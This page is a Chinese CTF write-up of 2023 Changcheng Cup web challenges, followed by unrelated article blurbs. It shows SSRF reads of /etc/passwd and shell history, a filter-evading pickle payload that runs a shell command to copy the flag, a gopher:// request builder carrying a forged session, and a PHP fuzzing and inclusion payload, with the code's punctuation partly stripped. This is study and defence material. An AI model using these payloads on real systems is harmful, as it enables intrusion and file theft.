当前位置: 首页 > article >正文

2023长城杯Web赛题解析:从SSRF到Pickle反序列化的实战攻防

1. 从SSRF漏洞到内网渗透的实战突破去年参加长城杯时遇到一道名为seeking的Web题目让我对SSRF漏洞的利用有了全新认识。题目一开始给出了一个看似简单的PHP文件但隐藏着精妙的设计。代码中通过file_get_contents函数获取图片内容时没有对image参数做任何过滤这就为SSRF攻击埋下了伏笔。我当时尝试用file://协议读取/etc/passwd文件发现系统中有个名为secret的用户。这个发现很关键因为题目描述中提到了小朱的secret朋友。顺着这个线索我读取了/home/secret/.bash_history文件找到了一个Python Flask应用的路径。这里有个实用技巧在CTF比赛中.bash_history、.viminfo这类隐藏文件往往藏着重要线索。通过分析历史命令我发现目标服务器上运行着一个使用Pickle序列化的Flask应用这为后续的攻击链奠定了基础。2. Pickle反序列化漏洞的巧妙利用找到Flask应用后我注意到它有两个关键路由/和/pickle。主路由会将一个User对象序列化后存入session而/pickle路由则会反序列化session中的数据。题目很贴心地给出了SECRET_KEY这意味着我们可以伪造session。Pickle反序列化的危险性在于它能执行任意Python代码。但题目设置了过滤if bR in code or bbuilt in code or bsetstate in code or bflag in code: return what do you want???我尝试用o操作码绕过这些限制构造了如下payloadpayload b(cos system Scat /f* /tmp/a o.这个payload的作用是将flag文件内容写入/tmp/a。为什么要这样做因为直接读取flag会被过滤但写入临时文件再读取就能绕过限制。在实际渗透测试中这种曲线救国的思路很常见。3. Gopher协议在SSRF中的高级应用有了Pickle的反序列化payload接下来需要通过SSRF将其发送到内网的Flask服务。这里我使用了Gopher协议它能构造任意TCP请求。关键步骤是构造包含恶意session的HTTP请求对请求进行URL编码替换换行符为%0D%0A通过Gopher协议发送具体实现如下a GET /pickle HTTP/1.1 Host: 127.0.0.1:5555 Cookie: sessioneyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s tmp urllib.parse.quote(a) new tmp.replace(%0A,%0D%0A) result gopher://127.0.0.1:5555/ _ new这个技巧在实战中非常实用特别是当目标服务器存在SSRF漏洞且内网服务没有适当防护时。4. 从PHP扩展漏洞到RCE的完整链条另一道题easy_extension展示了如何通过SSRF结合PHP扩展漏洞实现RCE。题目在calc.php中使用了一个自定义的Cmd\Calc::exe()方法这个方法实际上来自一个用Zephir编写的PHP扩展。通过黑盒测试我发现这个方法会对两个输入参数进行异或操作。于是我用Python脚本fuzz所有可能的字符组合import requests import string dic string.printable for i in dic: for j in dic: data {one: i, two: j} r requests.post(url, datadata) print(r.text, i, j)最终发现可以通过精心构造的参数绕过WAF限制。例如使用require $_GET[x]这样的payload实现文件包含进而读取flag。这个案例告诉我们在CTF和实际渗透中对目标系统组件的深入理解往往能发现意想不到的攻击面。5. 防御建议与实战思考通过这两道题目我总结了几个重要的安全防护点。对于SSRF漏洞应该严格校验用户输入的URL禁用危险的协议如file、gopher设置白名单限制访问范围对于反序列化漏洞避免使用不安全的序列化方式使用签名验证序列化数据考虑使用JSON等更安全的格式替代在开发PHP扩展时更要注意对输入参数进行严格过滤避免直接将用户输入作为代码执行实现完善的日志记录机制这些防御措施在实际项目开发中都是必不可少的。我在工作中就遇到过因为忽略这些细节而导致的安全事件教训深刻。

相关文章:

2023长城杯Web赛题解析:从SSRF到Pickle反序列化的实战攻防

1. 从SSRF漏洞到内网渗透的实战突破 去年参加长城杯时遇到一道名为"seeking"的Web题目,让我对SSRF漏洞的利用有了全新认识。题目一开始给出了一个看似简单的PHP文件,但隐藏着精妙的设计。代码中通过file_get_contents函数获取图片内容时&#…...

JBoltAI Agent OS:企业AI转型的“智慧管家”

在AI技术席卷全球的浪潮中,企业如何高效管理员工手中的AI Agent,确保其既助力业务又不失控?JBoltAI Agent OS应运而生,它如同一位“智慧管家”,为企业提供了一套集中式的Agent治理与转型管理方案。一、为何需要企业级A…...

【Netty】【调试工具】----Windows上网络调试助手NetAssist的使用(Java 开发者实用指南)

NetAssist是Windows下轻量免装的TCP/UDP调试工具,对Java开发者核心价值是快速模拟网络对端、裸抓报文、联调硬件/第三方接口,大幅降低网络编程调试成本。一、Java开发者用它的核心用处 网络编程快速验证 不用写完整客户端/服务端,用NetAssist…...

LC滤波器选型避坑指南:为什么你的高频噪声总是滤不干净?

LC滤波器选型避坑指南:为什么你的高频噪声总是滤不干净? 作为硬件工程师,你是否遇到过这样的场景:精心设计的LC滤波器在低频段表现良好,一到高频就"原形毕露"?那些恼人的射频噪声像幽灵一样在电路…...

JBoltAI框架4.2版本更新:Java开发者的AI新利器

近日,JBoltAI框架发布了V4.2版本,为Java开发企业和团队带来了一系列实用且强大的新功能。这一版本在保持原有架构优势的基础上,进一步拓展了AI应用的可能性,让Java开发者能够更轻松地构建智能化的企业应用。一、多模态交互升级V4.…...

跨平台媒体传输新选择:Go2TV 3分钟入门指南

跨平台媒体传输新选择:Go2TV 3分钟入门指南 【免费下载链接】go2tv Cast media files to Smart TVs and Chromecast devices. 项目地址: https://gitcode.com/gh_mirrors/go/go2tv Go2TV是一款开源跨平台媒体传输工具,支持将本地媒体文件投屏到智…...

告别虚拟机!在Win10上为ARM开发板(如TI AM62x)搭建Qt Widgets开发环境全记录

告别虚拟机!在Win10上为ARM开发板搭建Qt Widgets开发环境全记录 嵌入式开发工程师们对这样的场景一定不陌生:为了给ARM平台开发Qt应用,不得不启动笨重的Linux虚拟机,在两种操作系统间频繁切换。这不仅消耗系统资源,更…...

WINFORM - DevExpress -> 从安装到汉化:DevExpress全流程实战指南

1. DevExpress简介与环境准备 DevExpress是一套功能强大的.NET用户界面控件库,特别适合WinForms、WPF等桌面应用开发。我第一次接触DevExpress是在2015年,当时就被它丰富的UI组件和流畅的动画效果惊艳到了。经过这些年的版本迭代,现在的DevEx…...

DA14531 实战指南(一)从调试到量产:OTP与Flash的权衡艺术

1. 初识DA14531的存储双刃剑 第一次拿到DA14531开发板时,最让我纠结的就是这个32KB的OTP存储器。就像给你一支只能写一次的钢笔,虽然墨水充足(32KB对BLE应用绰绰有余),但每次落笔都要反复斟酌。实际开发中我发现&#…...

别再死记硬背公式了!用Matlab/Simulink手把手教你调PMSM的电流环PI参数(附模型)

永磁同步电机电流环PI参数整定实战:从理论推导到Simulink验证 在电机控制领域,永磁同步电机(PMSM)因其高效率、高功率密度等优势,已成为工业驱动和电动汽车的主流选择。而磁场定向控制(FOC)作为PMSM的核心控制策略,其性能很大程度…...

YimMenu完全指南:从入门到精通的安全防护与游戏增强解决方案

YimMenu完全指南:从入门到精通的安全防护与游戏增强解决方案 【免费下载链接】YimMenu YimMenu, a GTA V menu protecting against a wide ranges of the public crashes and improving the overall experience. 项目地址: https://gitcode.com/GitHub_Trending/y…...

S2-Pro大模型一键部署实战:基于Ubuntu20.04的保姆级环境配置教程

S2-Pro大模型一键部署实战:基于Ubuntu20.04的保姆级环境配置教程 1. 开篇:为什么选择S2-Pro 最近在开源大模型领域,S2-Pro凭借其优秀的推理性能和轻量化设计吸引了不少开发者关注。作为一个在本地部署过多个大模型的老手,我发现…...

Python 开发者“生存指令”速查表

🐍 Python 开发者“生存指令”速查表 这份清单分为**“系统终端”(在 CMD/PowerShell 中操作)和“Python 交互模式”**(在 >>> 提示符下操作)两部分。 1. 系统终端常用命令(CMD / PowerShell&…...

用什么来搭建知识库(写给小白的LLM工具选型系列:第六篇)

诸神缄默不语-个人技术博文与视频目录 (本文为AI生成,未做人工验证,也未列出参考资料。以后可能会更新) 本文面向小白读者,介绍基于AI的大规模知识库(RAG)的基本原理和常见方案。我们首先用通…...

Phi-4-mini-reasoning效果展示:中英文混合数学题的跨语言推理能力

Phi-4-mini-reasoning效果展示:中英文混合数学题的跨语言推理能力 1. 模型核心能力概览 Phi-4-mini-reasoning是一款专注于推理任务的文本生成模型,特别擅长处理数学题、逻辑题等需要多步分析的场景。与通用聊天模型不同,它更专注于"问…...

YOLOv10官版镜像应用:智能安防场景下的快速目标检测方案

YOLOv10官版镜像应用:智能安防场景下的快速目标检测方案 1. 智能安防场景下的目标检测挑战 在智能安防领域,实时目标检测技术面临着多重挑战。传统监控系统往往需要处理大量视频流数据,同时要保证检测的准确性和响应速度。这些场景通常具有…...

博途V15 S7-1200 PLC交通灯控制详解:触摸屏倒计时显示,仿真分析资料齐全,现成文件不修改

PLC交通灯控制,博途V15,S7-1200 使用比较指令,程序完整,触摸屏调试正常,触摸屏上有倒计时显示功能。 有两份对应实训报告(设计说明书),包括每段程序原理解释,触摸屏设置过程&#xf…...

实测踩坑:用Vibe Coding重写Calendly后,我看清了它的3大致命局限

作为一名常年和调度类工具打交道的开发者,最近被Vibe Coding的“自然语言转代码”噱头狠狠吸引——只需描述需求,AI就能快速生成可用代码,号称能大幅降低开发成本、提升原型落地效率。抱着“省时间、少踩坑”的心态,我决定用它重写…...

AI编程助手功能解锁:开源破解方案与开发工具权限绕过技术探索

AI编程助手功能解锁:开源破解方案与开发工具权限绕过技术探索 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached y…...

Openclaw接入自动发文教程

本课概览 Microsoft Agent Framework (MAF) 提供了一套强大的 Workflow(工作流) 框架,用于编排和协调多个智能体(Agent)或处理组件的执行流程。 本课将以通俗易懂的方式,帮助你理解 MAF Workflow 的核心概念…...

野火STM32_HAL库版课程笔记-手动建立工程模板与CubeMX后续用法(重要)

前置介绍为什么要手动建立工程模板?"CubeMX 是一个开发工具, 并不是开发本身, 学会借助它的便利, 而不依赖它的结构, 这是我们迈向高级开发者的关键的一步"新建工程简要步骤手动建立工程1. 新建工程文件夹2. 拷贝文件2.1. 参考目录, 文件结构对于 Inc 和 Src 等文件…...

智能调压突破性能极限:AMD Ryzen处理器调试工具让多核效率提升150%

智能调压突破性能极限:AMD Ryzen处理器调试工具让多核效率提升150% 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址…...

FANUC机器人焊接产线故障急救手册:从SRVO-062到SPOT-012的20个报警代码实战解析

FANUC机器人焊接产线故障急救手册:从SRVO-062到SPOT-012的20个报警代码实战解析 凌晨三点的车间警报声格外刺耳,焊接机器人突然停止工作,示教器屏幕上跳出的SRVO-062代码让值班工程师瞬间清醒。这不是教科书里的理论故障,而是汽车…...

【Linux】静态库(.a) + 动态库(.so)

Linux 静态库(.a) 动态库(.so) 统一示例: 库名:test → 静态库 libtest.a,动态库 libtest.so源文件:test.c、main.c头文件路径:./include库文件路径:./lib用户家目录路径:/home/youruser/yourl…...

OpenClaw技能扩展实战:用Qwen3-14B镜像自动生成技术文档

OpenClaw技能扩展实战:用Qwen3-14B镜像自动生成技术文档 1. 为什么需要自动化文档生成 作为一个经常需要编写技术文档的开发者,我长期被两个问题困扰:一是文档写作耗时太长,二是维护成本太高。每次代码更新后,文档版…...

英雄联盟录像编辑终极指南:免费开源工具League Director完全教程

英雄联盟录像编辑终极指南:免费开源工具League Director完全教程 【免费下载链接】leaguedirector League Director is a tool for staging and recording videos from League of Legends replays 项目地址: https://gitcode.com/gh_mirrors/le/leaguedirector …...

基于IEEE33节点的节点碳势计算与可视化 摘要:代码主要是基于IEEE33节点这个标准算例

基于IEEE33节点的节点碳势计算与可视化 摘要:代码主要是基于IEEE33节点这个标准算例,然后对各个节点碳势进行了逐一的计算,计算完毕后,通过MATLAB编程,对各个节点的碳势进行了可视化,非常清晰的一个代码&am…...

OpenClaw技能市场巡礼:Top10Qwen3.5-9B增强插件测评

OpenClaw技能市场巡礼:Top10 Qwen3.5-9B增强插件测评 1. 为什么需要关注OpenClaw技能市场? 第一次接触OpenClaw时,我被它"AI操控电脑"的核心能力震撼,但真正让我持续使用的原因是它的技能市场(ClawHub&…...

如何让你的第三方鼠标在macOS上重获新生?Mac Mouse Fix让普通鼠标体验提升300%

如何让你的第三方鼠标在macOS上重获新生?Mac Mouse Fix让普通鼠标体验提升300% 【免费下载链接】mac-mouse-fix Mac Mouse Fix - Make Your $10 Mouse Better Than an Apple Trackpad! 项目地址: https://gitcode.com/GitHub_Trending/ma/mac-mouse-fix 你是…...

STM32主控的三相逆变器及单相/三相逆变程序实现

三相逆变 单相/三相逆变器 SPWM ---stm32主控(输入、输出具体可根据需要设定),本逆变器可以二次开发。 本内容只包括 逆变程序,实现变频(0~100Hz)、变压调节,均有外接按键控制(使用C…...